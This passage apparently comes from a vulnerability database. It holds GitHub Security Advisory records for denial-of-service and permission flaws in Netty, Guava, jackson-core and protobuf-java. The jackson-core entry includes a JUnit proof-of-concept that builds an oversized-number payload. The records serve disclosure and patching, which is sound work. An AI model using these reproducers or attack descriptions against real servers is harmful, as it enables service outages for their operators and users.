  "details": "### Summary\nThe `HttpPostRequestDecoder` can be tricked to accumulate data. I have spotted currently two attack vectors \n\n### Details\n1. While the decoder can store items on the disk if configured so, there are no limits to the number of fields the form can have, an attacher can send a chunked post consisting of many small fields that will be accumulated in the `bodyListHttpData` list.\n2. The decoder cumulates bytes in the `undecodedChunk` buffer until it can decode a field, this field can cumulate data without limits\n\n### PoC\n\nHere is a Netty branch that provides a fix + tests : https://github.com/vietj/netty/tree/post-request-decoder\n\n\nHere is a reproducer with Vert.x (which uses this decoder) https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3\n\n### Impact\nAny Netty based HTTP server that uses the `HttpPostRequestDecoder` to decode a form.",
  "id": "GHSA-5jpm-x58v-624v",
  "modified": "2024-06-22T00:30:55Z",
  "published": "2024-03-25T19:40:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-5jpm-x58v-624v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29025"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/0d0c6ed782d13d423586ad0c71737b2c7d02058c"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/vietj/f558b8ea81ec6505f1e9a6ca283c9ae3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vietj/netty/tree/post-request-decoder"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00015.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty\u0027s HttpPostRequestDecoder can OOM"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.guava:guava"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "32.0.0-android"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-8908"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-173",
      "CWE-200",
      "CWE-378",
      "CWE-732"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-03-25T17:01:09Z",
    "nvd_published_at": "2020-12-10T23:15:00Z",
    "severity": "LOW"
  },
  "details": "A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method.",
  "id": "GHSA-5mg8-w23w-74h3",
  "modified": "2026-02-23T22:45:53Z",
  "published": "2021-03-25T17:04:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8908"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/guava/issues/4011"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/guava/issues/4011#issuecomment-1578991974"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/guava/commit/feb83a1c8fd2e7670b244d5afd23cba5aca43284"
    },
    {
      "type": "WEB",
      "url": "https://github.com/google/guava/commit/fec0dbc4634006a6162cfd4d0d09c962073ddf40"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd5d58088812cf8e677d99b07f73c654014c524c94e7fedbdee047604@%3Ctorque-dev.db.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd5d58088812cf8e677d99b07f73c654014c524c94e7fedbdee047604%40%3Ctorque-dev.db.apache.org%3E"
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    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd2704306ec729ccac726e50339b8a8f079515cc29ccb77713b16e7c5@%3Cissues.hive.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/rd2704306ec729ccac726e50339b8a8f079515cc29ccb77713b16e7c5%40%3Cissues.hive.apache.org%3E"
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    {
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    {
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    },
    {
      "type": "WEB",
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    {
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    {
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    {
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      "url": "https://lists.apache.org/thread.html/rbc7642b9800249553f13457e46b813bea1aec99d2bc9106510e00ff3%40%3Ctorque-dev.db.apache.org%3E"
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    {
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      "url": "https://lists.apache.org/thread.html/rb8c0f1b7589864396690fe42a91a71dea9412e86eec66dc85bbacaaf%40%3Ccommits.cxf.apache.org%3E"
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      "url": "https://lists.apache.org/thread.html/ra7ab308481ee729f998691e8e3e02e93b1dedfc98f6b1cd3d86923b3@%3Cyarn-issues.hadoop.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuoct2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpujan2022.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2022.html"
    },
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      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuApr2021.html"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com//security-alerts/cpujul2021.html"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-JAVA-COMGOOGLEGUAVA-1015415"
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    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20220210-0003"
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    {
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      "url": "https://lists.apache.org/thread.html/rf00b688ffa620c990597f829ff85fdbba8bf73ee7bfb34783e1f0d4e@%3Cyarn-dev.hadoop.apache.org%3E"
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    {
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      "url": "https://lists.apache.org/thread.html/rf00b688ffa620c990597f829ff85fdbba8bf73ee7bfb34783e1f0d4e%40%3Cyarn-dev.hadoop.apache.org%3E"
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      "url": "https://lists.apache.org/thread.html/r007add131977f4f576c232b25e024249a3d16f66aad14a4b52819d21@%3Ccommon-issues.hadoop.apache.org%3E"
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      "url": "https://lists.apache.org/thread.html/r007add131977f4f576c232b25e024249a3d16f66aad14a4b52819d21%40%3Ccommon-issues.hadoop.apache.org%3E"
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      "type": "PACKAGE",
      "url": "https://github.com/google/guava"
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      "url": "https://lists.apache.org/thread.html/r841c5e14e1b55281523ebcde661ece00b38a0569e00ef5e12bd5f6ba@%3Cissues.maven.apache.org%3E"
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      "url": "https://lists.apache.org/thread.html/r841c5e14e1b55281523ebcde661ece00b38a0569e00ef5e12bd5f6ba%40%3Cissues.maven.apache.org%3E"
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    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r7b0e81d8367264d6cad98766a469d64d11248eb654417809bfdacf09@%3Cyarn-issues.hadoop.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r7b0e81d8367264d6cad98766a469d64d11248eb654417809bfdacf09%40%3Cyarn-issues.hadoop.apache.org%3E"
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    {
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      "url": "https://lists.apache.org/thread.html/r79e47ed555bdb1180e528420a7a2bb898541367a29a3bc6bbf0baf2c@%3Cissues.hive.apache.org%3E"
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      "url": "https://lists.apache.org/thread.html/r79e47ed555bdb1180e528420a7a2bb898541367a29a3bc6bbf0baf2c%40%3Cissues.hive.apache.org%3E"
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      "url": "https://lists.apache.org/thread.html/r5b3d93dfdfb7708e796e8762ab40edbde8ff8add48aba53e5ea26f44@%3Cissues.geode.apache.org%3E"
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      "url": "https://lists.apache.org/thread.html/r58a8775205ab1839dba43054b09a9ab3b25b423a4170b2413c4067ac@%3Ccommon-issues.hadoop.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r58a8775205ab1839dba43054b09a9ab3b25b423a4170b2413c4067ac%40%3Ccommon-issues.hadoop.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r49549a8322f62cd3acfa4490d25bfba0be04f3f9ff4d14fe36199d27@%3Cyarn-dev.hadoop.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r49549a8322f62cd3acfa4490d25bfba0be04f3f9ff4d14fe36199d27%40%3Cyarn-dev.hadoop.apache.org%3E"
    },
    {
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      "url": "https://lists.apache.org/thread.html/r4776f62dfae4a0006658542f43034a7fc199350e35a66d4e18164ee6@%3Ccommits.cxf.apache.org%3E"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Information Disclosure in Guava"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-handler"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.94.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-34462"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-20T16:33:22Z",
    "nvd_published_at": "2023-06-22T23:15:09Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe `SniHandler` can allocate up to 16MB of heap for each channel during the TLS handshake. When the handler or the channel does not have an idle timeout, it can be used to make a TCP server using the `SniHandler` to allocate 16MB of heap.\n\n### Details\nThe `SniHandler` class is a handler that waits for the TLS handshake to configure a `SslHandler` according to the indicated server name by the `ClientHello` record. For this matter it allocates a `ByteBuf` using the value defined in the `ClientHello` record. \n\nNormally the value of the packet should be smaller than the handshake packet but there are not checks done here and the way the code is written, it is possible to craft a packet that makes the `SslClientHelloHandler`\n\n1/ allocate a 16MB `ByteBuf`\n2/ not fail `decode` method `in` buffer\n3/ get out of the loop without an exception\n\nThe combination of this without the use of a timeout makes  easy to connect to a TCP server and allocate 16MB of heap memory per connection.\n\n### Impact\nIf the user has no idle timeout handler configured it might be possible for a remote peer to send a client hello packet which lead the server to buffer up to 16MB of data per connection. This could lead to a OutOfMemoryError and so result in a DDOS.",
  "id": "GHSA-6mjq-h674-j845",
  "modified": "2024-06-24T21:24:21Z",
  "published": "2023-06-20T16:33:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-6mjq-h674-j845"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34462"
    },
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/commit/535da17e45201ae4278c0479e6162bb4127d4c32"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20230803-0001"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20240621-0007"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2023/dsa-5558"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "netty-handler SniHandler 16MB allocation"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "tools.jackson.core:jackson-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-core"
      },
      "ranges": [
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            }
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          "type": "ECOSYSTEM"
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    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.18.5"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "com.fasterxml.jackson.core:jackson-core"
      },
      "ranges": [
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            }
          ],
          "type": "ECOSYSTEM"
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  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-28T02:01:05Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\nThe non-blocking (async) JSON parser in `jackson-core` bypasses the `maxNumberLength` constraint (default: 1000 characters) defined in `StreamReadConstraints`. This allows an attacker to send JSON with arbitrarily long numbers through the async parser API, leading to excessive memory allocation and potential CPU exhaustion, resulting in a Denial of Service (DoS).\n\nThe standard synchronous parser correctly enforces this limit, but the async parser fails to do so, creating an inconsistent enforcement policy.\n\n### Details\nThe root cause is that the async parsing path in `NonBlockingUtf8JsonParserBase` (and related classes) does not call the methods responsible for number length validation.\n\n- The number parsing methods (e.g., `_finishNumberIntegralPart`) accumulate digits into the `TextBuffer` without any length checks.\n- After parsing, they call `_valueComplete()`, which finalizes the token but does **not** call `resetInt()` or `resetFloat()`.\n- The `resetInt()`/`resetFloat()` methods in `ParserBase` are where the `validateIntegerLength()` and `validateFPLength()` checks are performed.\n- Because this validation step is skipped, the `maxNumberLength` constraint is never enforced in the async code path.\n\n### PoC\nThe following JUnit 5 test demonstrates the vulnerability. It shows that the async parser accepts a 5,000-digit number, whereas the limit should be 1,000.\n\n```java\npackage tools.jackson.core.unittest.dos;\n\nimport java.nio.charset.StandardCharsets;\n\nimport org.junit.jupiter.api.Test;\n\nimport tools.jackson.core.*;\nimport tools.jackson.core.exc.StreamConstraintsException;\nimport tools.jackson.core.json.JsonFactory;\nimport tools.jackson.core.json.async.NonBlockingByteArrayJsonParser;\n\nimport static org.junit.jupiter.api.Assertions.*;\n\n/**\n * POC: Number Length Constraint Bypass in Non-Blocking (Async) JSON Parsers\n *\n * Authors: sprabhav7, rohan-repos\n * \n * maxNumberLength default = 1000 characters (digits).\n * A number with more than 1000 digits should be rejected by any parser.\n *\n * BUG: The async parser never calls resetInt()/resetFloat() which is where\n * validateIntegerLength()/validateFPLength() lives. Instead it calls\n * _valueComplete() which skips all number length validation.\n *\n * CWE-770: Allocation of Resources Without Limits or Throttling\n */\nclass AsyncParserNumberLengthBypassTest {\n\n    private static final int MAX_NUMBER_LENGTH = 1000;\n    private static final int TEST_NUMBER_LENGTH = 5000;\n\n    private final JsonFactory factory = new JsonFactory();\n\n    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength\n    @Test\n    void syncParserRejectsLongNumber() throws Exception {\n        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\t\t\n\t\t// Output to console\n        System.out.println(\"[SYNC] Parsing \" + TEST_NUMBER_LENGTH + \"-digit number (limit: \" + MAX_NUMBER_LENGTH + \")\");\n        try {\n            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {\n                while (p.nextToken() != null) {\n                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n                        System.out.println(\"[SYNC] Accepted number with \" + p.getText().length() + \" digits \u2014 UNEXPECTED\");\n                    }\n                }\n            }\n            fail(\"Sync parser must reject a \" + TEST_NUMBER_LENGTH + \"-digit number\");\n        } catch (StreamConstraintsException e) {\n            System.out.println(\"[SYNC] Rejected with StreamConstraintsException: \" + e.getMessage());\n        }\n    }\n\n    // VULNERABILITY: Async parser accepts the SAME number that sync rejects\n    @Test\n    void asyncParserAcceptsLongNumber() throws Exception {\n        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\n        NonBlockingByteArrayJsonParser p =\n            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());\n        p.feedInput(payload, 0, payload.length);\n        p.endOfInput();\n\n        boolean foundNumber = false;\n        try {\n            while (p.nextToken() != null) {\n                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n                    foundNumber = true;\n                    String numberText = p.getText();\n                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),\n                        \"Async parser silently accepted all \" + TEST_NUMBER_LENGTH + \" digits\");\n                }\n            }\n            // Output to console\n            System.out.println(\"[ASYNC INT] Accepted number with \" + TEST_NUMBER_LENGTH + \" digits \u2014 BUG CONFIRMED\");\n            assertTrue(foundNumber, \"Parser should have produced a VALUE_NUMBER_INT token\");\n        } catch (StreamConstraintsException e) {\n            fail(\"Bug is fixed \u2014 async parser now correctly rejects long numbers: \" + e.getMessage());\n        }\n        p.close();\n    }\n\n    private byte[] buildPayloadWithLongInteger(int numDigits) {\n        StringBuilder sb = new StringBuilder(numDigits + 10);\n        sb.append(\"{\\\"v\\\":\");\n        for (int i = 0; i \u003c numDigits; i++) {\n            sb.append((char) (\u00271\u0027 + (i % 9)));\n        }\n        sb.append(\u0027}\u0027);\n        return sb.toString().getBytes(StandardCharsets.UTF_8);\n    }\n}\n\n```\n\n\n### Impact\nA malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:\n1.  **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number\u0027s digits, leading to an `OutOfMemoryError`.\n2.  **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.\n\n### Suggested Remediation\n\nThe async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.\n\n**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)",
  "id": "GHSA-72hv-8253-57qq",
  "modified": "2026-04-07T16:30:17Z",
  "published": "2026-02-28T02:01:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/pull/1555"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition"
}

{
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        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
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        "name": "com.google.protobuf:protobuf-javalite"
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    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-kotlin"
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        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-kotlin-lite"
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      "package": {
        "ecosystem": "RubyGems",
        "name": "google-protobuf"
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        "ecosystem": "RubyGems",
        "name": "google-protobuf"
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    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-javalite"
      },
      "ranges": [
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            },
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          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
      "ranges": [
        {
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              "introduced": "4.0.0-RC1"
            },
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    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.google.protobuf:protobuf-java"
      },
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  ],
  "aliases": [
    "CVE-2024-7254"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-400",
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-19T16:06:03Z",
    "nvd_published_at": "2024-09-19T01:15:10Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nWhen parsing unknown fields in the Protobuf Java Lite and Full library, a maliciously crafted message can cause a StackOverflow error and lead to a program crash.\n\nReporter: Alexis Challande, Trail of Bits Ecosystem Security Team \u003cecosystem@trailofbits.com\u003e\n\nAffected versions: This issue affects all versions of both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime.\n\n### Severity\n[CVE-2024-7254](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-7254) **High** CVSS4.0 Score 8.7 (NOTE: there may be a delay in publication)\nThis is a potential Denial of Service. Parsing nested groups as unknown fields with DiscardUnknownFieldsParser or Java Protobuf Lite parser, or against Protobuf map fields, creates unbounded recursions that can be abused by an attacker.\n\n### Proof of Concept\nFor reproduction details, please refer to the unit tests (Protobuf Java [LiteTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/lite/src/test/java/com/google/protobuf/LiteTest.java) and [CodedInputStreamTest](https://github.com/protocolbuffers/protobuf/blob/a037f28ff81ee45ebe008c64ab632bf5372242ce/java/core/src/test/java/com/google/protobuf/CodedInputStreamTest.java)) that identify the specific inputs that exercise this parsing weakness.\n\n### Remediation and Mitigation\nWe have been working diligently to address this issue and have released a mitigation that is available now. Please update to the latest available versions of the following packages:\n* protobuf-java (3.25.5, 4.27.5, 4.28.2)\n* protobuf-javalite (3.25.5, 4.27.5, 4.28.2)\n* protobuf-kotlin (3.25.5, 4.27.5, 4.28.2)\n* protobuf-kotlin-lite (3.25.5, 4.27.5, 4.28.2)\n* com-protobuf [JRuby gem only] (3.25.5, 4.27.5, 4.28.2)",
  "id": "GHSA-735f-pc8j-v9w8",
  "modified": "2025-09-10T20:53:03Z",
  "published": "2024-09-19T16:06:03Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/security/advisories/GHSA-735f-pc8j-v9w8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7254"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/commit/4728531c162f2f9e8c2ca1add713cfee2db6be3b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/commit/850fcce9176e2c9070614dab53537760498c926b"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/commit/9a5f5fe752a20cbac2e722b06949ac985abdd534"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/commit/ac9fb5b4c71b0dd80985b27684e265d1f03abf46"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/commit/cc8b3483a5584b3301e3d43d17eb59704857ffaa"
    },
    {
      "type": "WEB",
      "url": "https://github.com/protocolbuffers/protobuf/commit/d6c82fc55a76481c676f541a255571e8950bb8c3"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/protocolbuffers/protobuf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/google-protobuf/CVE-2024-7254.yml"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20241213-0010"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250418-0006"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "protobuf-java has potential Denial of Service issue"
}